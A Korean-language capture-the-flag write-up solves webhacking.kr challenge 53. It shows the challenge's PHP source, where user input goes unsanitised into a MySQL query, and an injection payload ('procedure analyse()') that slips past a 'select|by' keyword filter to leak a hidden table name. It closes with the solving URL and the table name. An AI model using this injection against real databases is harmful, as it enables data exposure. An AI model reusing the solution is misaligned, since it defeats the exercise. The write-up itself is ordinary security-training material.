old-53 (350)
첫 화면이다.

view-source를 클릭해 본 소스는 아래와 같다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?>
<html>
<head>
<title>Challenge 53</title>
</head>
<body>
<?php
$db = dbconnect();
include "./tablename.php";
if($_GET['answer'] == $hidden_table) solve(53);
if(preg_match("/select|by/i",$_GET['val'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
echo($result[0]);
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
MySQL에서는 쿼리 끝에 PROCEDURE ANALYSE()
를 입력하면 테이블과 컬럼에 대한 정보가 출력된다.
https://webhacking.kr/challenge/web-28/?val=1%20procedure%20analyse() 에 접속하면 아래와 같은 창이 뜬다.

데이터베이스명.테이블명.컬럼명
의 형식으로 출력된다.
따라서 테이블명은 chall53_755fdeb36d873dfdeb2b34487d50a805
이다.
https://webhacking.kr/challenge/web-28/?answer=chall53_755fdeb36d873dfdeb2b34487d50a805 에 접속하면 문제가 풀린다.

Last updated
Was this helpful?